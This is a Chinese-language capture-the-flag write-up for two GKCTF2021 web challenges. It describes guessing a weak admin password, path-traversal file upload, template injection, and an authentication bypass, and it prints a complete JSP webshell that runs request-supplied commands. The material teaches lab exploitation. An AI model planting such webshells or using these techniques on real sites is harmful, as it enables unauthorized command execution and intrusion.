上去练了下手,发现自己不会几道题
又一个拉跨的web手诞生了
GKCTF2021
web1-easycms
web方向的签到题,虽然卡了好几步,但真的简单
弱口令
进入页面,简单找了一下,首页没什么信息
测试发现后台为admin.php
虽然没有验证码,但这道题输入错误三次就会锁住三分钟,无法进行爆破
靠猜测可知用户名admin,密码12345
模板注入
进入后台,在设计位置可以看到一个首页模板,如果可以写入命令或者一句话,我们就可以得到flag
这个思路是一次awd给我的启发,当然,网上也有文章提到了这个漏洞
链接:http://www.yidianzixun.com/article/0J0BhinZ
直接往模板写,提示需要创建cwqe.txt文件
找找有没有可以文件上传的地方
找了一会,发现素材库位置不但可以上传文件,还可以改路径,完美符合要求
上传
用目录穿越将文件定位到指定的目录
保存成功,当然我第一次做这题先后要求了两个目录,用一样的手法上传即可
回到首页,首页已经乱码,执行我们的一句话即可
拿到flag
babycat
这道题,我不会
这道题是w4师傅告诉了我非预期,所以我复现了一下,聊以练手
json格式注册登录
进入网站,一个注册一个登录,而且注册页面一片空白
抓包看看什么情况
告诉我们上传格式是data=”json格式的数据”,直接构造payload
data={"username":"test","password":"test"}
注册成功
登录进去有四个链接和一只呆猫
这里主要有两个地方需要注意,一个是upload,一个是Download Test
upload可以上传文件,Download Test 可以任意文件读取
但upload必须以管理员身份登录才可以访问,而非预期,绕过了这个限制
post绕过身份验证上传文件
任意文件读取就不提了,非预期用不到
当然这么说也不对,这个非预期,是将源码用任意文件读取dump下来审计后审出来的
这里就直接说用法,所以不用任意文件读取了,想学习预期解,请认准出题人w4
这里先使用postman进入到upload,并上传木马文件
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("
");
}
%>
上传同时抓包
然后改路径
路径随意,可读取即可
命令执行成功,怎么拿flag应该不用我多说,读取/readflag即可